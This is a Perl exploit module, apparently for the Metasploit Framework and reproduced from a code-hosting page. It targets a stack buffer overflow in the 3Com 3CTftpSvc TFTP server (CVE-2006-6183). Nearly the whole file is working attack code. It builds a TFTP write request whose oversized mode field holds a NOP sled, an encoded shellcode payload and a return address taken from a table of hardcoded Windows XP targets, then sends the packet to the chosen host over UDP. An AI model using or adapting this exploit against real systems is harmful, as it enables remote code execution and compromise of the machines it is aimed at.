880bbe402e
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107 lines
No EOL
2.8 KiB
Perl
107 lines
No EOL
2.8 KiB
Perl
package Msf::Exploit::3com_tftp_long_mode;
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use strict;
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use base "Msf::Exploit";
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use Pex::Text;
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use IO::Socket;
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my $advanced =
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{
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};
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my $info =
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{
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'Name' => 'TFTP Server 3CTftpSvc Buffer Overflow Vulnerability',
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'Version' => '$ 1.0 $',
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'Authors' => ['Enseirb <vincenty [at] enseirb.fr>', ],
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'Description' =>
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Pex::Text::Freeform(qq{
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This vulnerability is caused due to a boundary error during the processing of TFTP Read/Write request packet types. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted packet with an overly long mode field (more than 460 bytes).
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}),
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32' ],
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'Priv' => 0,
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'AutoOpts' => { 'EXITFUNC' => 'seh' },
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'UserOpts' =>
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{
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'RHOST' => [ 1, 'ADDR', 'The TFTP target adress', "127.0.0.1" ],
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'RPORT' => [ 0, 'PORT', 'The TFTP target port', 69 ],
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},
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'Payload' =>
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{
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'Space' => 344,
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'BadChars' => "\x00",
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},
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'Refs' =>
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[
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['URL', 'https://www.securityfocus.com/bid/21301'],
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['CVE', '2006-6183'],
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['URL', 'http://secunia.com/advisories/23113'],
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['URL', 'http://www.securityfocus.com/archive/1/452754'],
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],
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'DefaultTarget' => 0,
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'Targets' =>
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[
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[ '0 - Windows XP SP2 ENG', 0x77d4e23b ], #or 0x77bc2063
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[ '1 - Windows XP SP1 FR', 0x77d8117b ],
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[ '2 - Windows XP SP2 FR', 0x77d8d9af ],
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],
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'Keys' => [ '3com' ],
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'DisclosureDate' => 'Nov 27 2006',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit
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{
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my $self = shift;
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my $target_idx = $self->GetVar('TARGET');
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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my $buff = "\x00\x02"; # for a WRQ (WriteReQuest) (or "\x00\x01" for a RRQ)
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$buff .= "filename_string";
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$buff .= "\x00";
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$buff .= $self->MakeNops(129) . $shellcode;
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$buff .= pack('V',$target->[1]);
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$buff .= "\x00";
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$self->PrintLine('[+] Try to connect... ' . $target_host . ':' . $target_port);
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my $s = Msf::Socket::Udp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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);
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if ($s->IsError) {
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$self->PrintLine('[-] Error creating socket: ' . $s->GetError);
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return;
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}
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$self->PrintLine('[+] Connected!');
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$self->PrintLine('[+] Sending exploit...');
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$s->Send($buff);
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$self->PrintLine('[+] Exploit sent!');
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$s->Close();
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return;
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}
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1;
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# milw0rm.com [2007-01-21] |